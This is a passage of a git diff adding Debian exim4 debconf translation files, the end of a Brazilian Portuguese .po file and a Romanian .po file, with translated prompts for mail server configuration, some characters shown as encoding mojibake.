executar a fila (mesmo sem nenhuma mensagem " +"aguardando) pode disparar um evento de discagem que pode gerar custos." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Esta opção deverá ser selecionada se este sistema estiver usando Discagem-" +"sob-Demanda. Se este sistema possui conexão permanente com a Internet, esta " +"opção deverá ser desabilitada." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuração do Servidor de Mensagens" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Dividir a configuração em pequenos arquivos?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Os pacotes Debian do exim4 podem usar uma \"configuração não dividida\", um " +"único arquivo monolÃtico (/etc/exim4/exim4.conf.template) ou uma " +"\"configuração dividida\", onde os arquivos de configuração do Exim são " +"construÃdos a partir de cerca de 50 arquivos menores em /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Uma configuração não dividida é mais indicada para grandes modificações e é " +"geralmente mais estável, e uma configuração dividida oferece uma maneira " +"confortável de fazer modificações menores mas é mais frágil e pode quebrar " +"se modificada sem cuidado." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Uma discussão mais detalhada sobre configuração dividida e não dividida pode " +"ser encontrada nos arquivos README especÃficos do Debian em /usr/share/doc/" +"exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Ocultar nome do domÃnio local nas mensagens enviadas?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Os cabeçalhos das mensagens enviadas podem ser reescritos para fazer com que " +"elas pareçam ter sido geradas em um sistema diferente. Se esta opção for " +"escolhida, '${mailname}', 'localhost' e '${dc_other_hostnames}' são " +"reescritos nos campos From, Reply-To, Sender e Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Formato \"mbox\" em /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Formato \"Maildir\" no diretório pessoal (\"home\")" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Método de entrega para mensagens locais:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"O Exim é capaz de armazenar mensagens entregues localmente em diferentes " +"formatos. Os formatos mais comumente usados são mbox e Maildir. O formato " +"mbox usa um único arquivo para toda a caixa-postal armazenada em /var/mail. " +"No formato Maildir, cada mensagem é armazenada em um arquivo separado em ~/" +"Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Por favor, note que a maioria das ferramentas de mensagens no Debian, em " +"suas configurações padrão, esperam que o método de entrega local seja o mbox." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Mover mensagens ainda não entregues do spool do exim 3 para o spool do " +#~ "exim4 ?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Existem algumas mensagens não entregues no diretório de spool do exim 3 " +#~ "(ou do exim-tls 3) em /var/spool/exim/input/." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Escolher esta opção irá mover essas mensagens para o spool do exim4 (/var/" +#~ "spool/exim4/input/) onde as mesmas serão gerenciadas pelo exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Isso funciona somente em um sentido único : o Exim4 pode gerenciar o " +#~ "spool do exim 3 mas o contrário não é possÃvel. Se você rejeitar essa " +#~ "opção , você mesmo terá que mover as messagens ou elas não irão ser " +#~ "entreges nunca." diff --git a/debian/po/ro.po b/debian/po/ro.po new file mode 100644 index 0000000..df55d3b --- /dev/null +++ b/debian/po/ro.po @@ -0,0 +1,861 @@ +# translation of ro.po to Romanian +# Romanian translation +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# Eddy PetriÈ™or <eddy.petrisor@gmail.com>, 2004, 2005, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: ro\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-07-14 10:24+0300\n" +"Last-Translator: Eddy PetriÈ™or <eddy.petrisor@gmail.com>\n" +"Language-Team: Romanian <debian-l10n-romanian@lists.debian.org>\n" +"Language: ro\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=3; plural=n==1 ? 0 : (n==0 || (n%100 > 0 && n%100 < " +"20)) ? 1 : 2;\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Se È™terg mesajele nelivrate din directorul „spoolâ€?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"ÃŽn directorul „spool†al lui Exim, /var/spool/exim4/input, se află mesaje " +"care nu au fost livrate încă. Dacă Exim este È™ters, acestea vor rămâne " +"nelivrate până la reinstalarea lui Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Dacă nu se alege această opÈ›iune, directorul „spool†este păstrat, permițând " +"mesajelor din coada de aÈ™teptare să fie livrate la o dată ulterioară, după " +"reinstalarea lui Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "ReconfiguraÈ›i exim4-config în loc să-l configuraÈ›i pe acesta." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 își crează configuraÈ›ia printr-un pachet dedicat, exim4-config. Pentru " +"reconfigurarea lui Exim4, folosiÈ›i „dpkg-reconfigure exim4-configâ€." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"site internet; mesajele se trimit È™i se recepÈ›ionează direct folosind SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "" +"mesaje trimise prin „smart hostâ€; recepÈ›ionate prin SMTP sau „fetchmailâ€" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "mesaje trimise prin „smart hostâ€; fără mesaje locale" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "doar mesaje locale; nu este în reÈ›ea" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "nu se configurează acum" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Tip general de configurare a poÈ™tei electronice:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"AlegeÈ›i tipul de configuraÈ›ie care se potriveÈ™te cel mai bine nevoilor " +"dumneavoastră." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemele cu adrese IP dinamice, inclusiv sistemele „dialupâ€, ar trebui, în " +"general, să fie configurate să trimită mesajele destinate exteriorului către " +"o altă maÈ™ină, numită „staÈ›ie inteligentă†(eng.: „smart hostâ€) spre a fi " +"livrate deoarece, în Internet, multe sisteme care recepÈ›ionează " +"corespondență blochează mesajele recepÈ›ionate de la adrese IP dinamice, ca o " +"protecÈ›ie împotriva mesajelor nesolicitate (zise È™i „spamâ€)." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Un sistem cu adresă IP dinamică își poate recepÈ›iona singur propria " +"corespondență sau poate avea sistemul local de livrare dezactivat total " +"(exceptând mesajele pentru root È™i postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "" +"SunteÈ›i sigur că doriÈ›i să lăsaÈ›i sistemul de poÈ™tă electronică neconfigurat?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Până la configurarea sistemului de poÈ™tă electronică, acesta va fi " +"nefuncÈ›ional È™i inutilizabil. Configurarea ulterioară este posibilă, fie " +"manual, fie prin rularea comenzii „dpkg-reconfigure exim4-config†ca " +"utilizatorul root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Numele de poÈ™tă al sistemului:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"„Numele de poÈ™tă†este numele de domeniu folosit pentru a completa adresele " +"fără nume de domeniu." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Acest nume va fi folosit È™i de alte programe. Ar trebui să fie singurul nume " +"de domeniu complet (FQDN - fully qualified domain name)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"De exemplu, dacă o adresă de poÈ™tă electronică este cineva@exemplu.org, " +"atunci valoarea corectă a acestei opÈ›iuni ar fi exemplu.org." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Dacă rescrierea este activată, acest nume nu va apărea pe liniile „From:†" +"ale mesajelor expediate." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Alte destinaÈ›ii pentru care se acceptă poÈ™ta electronică:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Vă rugăm să introduceÈ›i o listă de domenii (separate prin simbolul „punct È™i " +"virgulăâ€) pentru care această maÈ™ină ar trebui să se considere destinaÈ›ie " +"finală. Numele complet de domeniu al sistemului (${fqdn}) È™i „localhost†vor " +"fi adăugate mereu la această listă." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Implicit, toate domeniile locale vor fi tratate la fel. Dacă atât a.exemplu " +"cât È™i b.exemplu sunt domenii locale, gigi@a.exemplu È™i gigi@b.exemplu vor " +"fi livrate către o aceiaÈ™i destinaÈ›ie finală. Dacă doriÈ›i ca diferitele nume " +"de domeniu să fie tratate diferit, este necesară editarea ulterioară a " +"fiÈ™ierelor de configurare." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domeniile pentru care se intermediază poÈ™ta electronică:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"IntroduceÈ›i o listă de domenii-destinatar (separate prin simbolul „punct È™i " +"virgulăâ€) pentru care acest sistem va intermedia transmiterea mesajelor, de " +"exemplu, ca MX de siguranță sau „mail gatewayâ€. Acest lucru înseamnă că " +"acest sistem va accepta corespondență pentru aceste domenii de oriunde din " +"Internet È™i le va livra conform cu regulile locale de livrare." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Nu menÈ›ionaÈ›i aici domeniile locale. Se pot folosi caractere-joker." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "MaÈ™inile pentru care se intermediază:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"IntroduceÈ›i intervalele de adrese IP (separate prin simbolul „punct È™i " +"virgulăâ€) pentru care este permis să își intermedieze poÈ™ta electronică prin " +"acest sistem, folosindu-l ca „smart hostâ€." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Trebuie să folosiÈ›i formatul standard adresă/prefix (ex.: 194.222.242.0/24 " +"sau 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Dacă acest sistem nu ar trebui să fie un „smart host†pentru un oricare alt " +"sistem, lăsaÈ›i această listă goală." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Numele vizibil de domeniu pentru utilizatorii locali:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"OpÈ›iunea de ascundere a numelui local de poÈ™tă pentru mesajele expediate a " +"fost activată. De aceea este necesar să precizaÈ›i numele de domeniu pe care " +"acest sistem ar trebui să-l folosească pentru partea de domeniu a adreselor " +"expeditorilor locali." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "" +"Adresa IP sau numele maÈ™inii care este „smart host†pentru mesajele " +"expediate:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"IntroduceÈ›i adresa IP sau numele calculatorului pe care acest sistem o/îl va " +"folosi ca „smart host†pentru mesajele expediate. Dacă „smart hostâ€-ul vă " +"acceptă corespondenÈ›a doar pe un port diferit de TCP/25, adăugaÈ›i la sfârÈ™it " +"două caractere „două puncte†și numărul portului (de exemplu exemplu." +"smarthost::587 sau 192.168.254.254::2525). Caracterele „două puncte†trebuie " +"dublate în adresele IPv6." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Dacă „smart hostâ€-ul necesită autentificare, consultaÈ›i fiÈ™ierul README " +"specific Debian din directorul /usr/share/doc/exim4-base pentru informaÈ›ii " +"legate de felul în care se configurează autentificarea SMTP." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Adresa celui care primeÈ™te mesajele pentru root È™i postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PoÈ™ta electronică pentru „postmasterâ€, „root†și alte conturi de sistem " +"trebuie să fie redirecÈ›ionate către contul de utilizator al " +"administratorului de sistem." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Dacă această valoare este lăsată vidă, asemenea corespondență este salvată " +"în /var/mail/mail, lucru nerecomandat." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"A se observa că mesajele pentru „postmaster†ar trebui să fie citite pe " +"sistemul către care sunt direcÈ›ionate, în loc să fie trimise în altă parte, " +"astfel încât (cel puÈ›in unul dintre) utilizatorii pe care îi alegeÈ›i să nu " +"își redirecteze mesajele în afara maÈ™inii curente. PuteÈ›i folosi prefixul " +"„real-†pentru a forÈ›a livrarea locală." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "" +"Dacă există mai multe nume de utilizatori, ele trebuie separate prin spaÈ›ii." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Adresele IP care aÈ™teaptă conexiuni SMTP:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"IntroduceÈ›i o listă de adrese IP, separate prin simbolul „punct È™i virgulăâ€. " +"Demonul Exim SMTP care aÈ™teptă corespondență o va face la toate adresele IP " +"enumerate aici." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Cu o valoare goală, Exim va aÈ™tepta conexiuni pe toate interfeÈ›ele de reÈ›ea " +"disponibile." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Dacă acest sistem recepÈ›ionează poÈ™tă electronică doar de la servicii locale " +"(È™i nu de la alte sisteme), este sugerat să interziceÈ›i conexiunile externe " +"către serviciul Exim local. Asemenea servicii includ programele client de " +"poÈ™tă electronică (abrev. eng. MUA) ce vorbesc strict cu „localhostâ€, cât È™i " +"pe „fetchmailâ€. Conexiunile externe sunt imposibile atunci când aici se " +"introduce 127.0.0.1, deoarece acest lucru va duce la dezactivarea aÈ™teptării " +"de conexiuni pe interfeÈ›ele de reÈ›ea publice." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "" +"Se pastrează numărul de interogări DNS la minim (doar la cerere - Dial-on-" +"Demand)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"ÃŽn modul normal de operare, Exim face interogări DNS la pornire È™i la " +"livrarea sau la primirea de mesaje. Acesta se face în scop de jurnalizare È™i " +"permite să existe număr mic de valori păstrate ca atare în fiÈ™ierele de " +"configurare." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Dacă acest sistem nu are acces permanent la un server DNS (de exemplu, dacă " +"este folosită o conexiune la Internet de tip „dial-up†cu conectare la " +"cerere), folosirea acestei opÈ›iuni poate avea consecinÈ›e nedorite. De " +"exemplu, pornirea lui Exim sau rularea cozii de mesaje (chiar È™i fără mesaje " +"în aÈ™teptare) ar putea declanÈ™a un eveniment de tip conexiune-la-cerere " +"costisitor." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Această opÈ›iune ar trebui selectată dacă acest sistem foloseÈ™te accese acces-" +"la-cerere. Dacă are acces permanent la Internet, această opÈ›iune ar trebui " +"să fie dezactivată." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configurare de server de poÈ™tă electronică" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Se împarte configuraÈ›ia în fiÈ™iere mici?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Pachetul Debian exim4 poate folosi fie „configuraÈ›ia unitarăâ€, un singur " +"fiÈ™ier monolitic (/etc/exim4/exim4.conf.template), fie „configuraÈ›ia " +"despărÈ›ităâ€, în care fiÈ™ierele de configurare propriu-zise ale lui Exim sunt " +"construite din aproximativ 50 de fiÈ™iere mici din /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"ConfiguraÈ›ia unitară este mai potrivită pentru modificări masive È™i este, în " +"general, mai stabilă, în timp ce configuraÈ›ia despărÈ›ită oferă un mod " +"confortabil de a face mici modificări, însă este mai fragilă È™i chiar se " +"poate corupe dacă este modificată fără atenÈ›ie." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"O discuÈ›ie mai detaliată despre configuraÈ›iile unitare È™i despărÈ›ite poate " +"fi găsită în fiÈ™ierul README specific Debian din directorul /usr/share/doc/" +"exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Se ascunde numele sistemului de poÈ™tă local în mesajele de livrat?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Antetele mesajelor de livrat pot fi rescrise pentru a părea că sunt generate " +"pe un alt sistem. Dacă este aleasă această opÈ›iune, „${mailname}â€, " +"„localhost†și „${dc_other_hostnames}†din câmpurile From, Reply-To, Sender " +"È™i Return-Path sunt rescrise." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "Format mbox în /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Format Maildir în directorul „acasăâ€" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Metoda de livrare pentru mesaje locale:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim este capabil să stocheze mesajele livrate local în diverse formate. " +"Cele mai comun folosite sunt mbox È™i Maildir. mbox foloseÈ™te un singur " +"fiÈ™ier pentru întreaga căsuță poÈ™tală, fiÈ™ier stocat în /var/mail. La " +"formatul Maildir fiecare mesaj este stocat într-un fiÈ™ier separat în ~/" +"Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"A se observa că cele mai multe unelete de mesagerie electronică din Debian " +"se aÈ™teapta ca metoda de livrare locală să fie implicit mbox." + +#~ msgid "Overwrite existing /etc/aliases?" +#~ msgstr "Se suprascrie fiÈ™ierul /etc/aliases existent?" + +#~ msgid "" +#~ "An /etc/aliases file was found on the system, but it does not redirect " +#~ "mail for root to a user account, which is strongly recommended." +#~ msgstr "" +#~ "Un fiÈ™ier /etc/aliases a fost găsit în sistem, dar acesta nu " +#~ "redirecÈ›ionează mesajele pentru „root†către un cont de utilizator, lucru " +#~ "recomandat cu tărie." + +#~ msgid "" +#~ "Accepting this option will cause /etc/aliases to be overwritten, and the " +#~ "old file will be renamed to aliases.O." +#~ msgstr "" +#~ "Dacă acceptaÈ›i această opÈ›iune, /etc/aliases va fi suprascris, iar " +#~ "fiÈ™ierul vechi va fi păstrat È™i redenumit în aliases.0." + +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Se mută mesajele nelivrate din exim 3 în directorul „spool†al exim4?" + +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Există câteva mesaje nelivrate în directorul „spoolâ€, /var/spool/exim/" +#~ "input/, al lui exim 3 (sau al lui exim-tls 3)." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Alegerea acestei opÈ›iuni va duce la mutarea mesajelor în directorul " +#~ "„spool†al lui exim4 (/var/spool/exim4/input) unde vor fi gestionate de " +#~ "către exim4." + +#~ msgid "" +#~ "This works only one-way: Exim4 can handle exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Această manevră funcÈ›ionează doar într-un singur sens: Exim4 poate să " 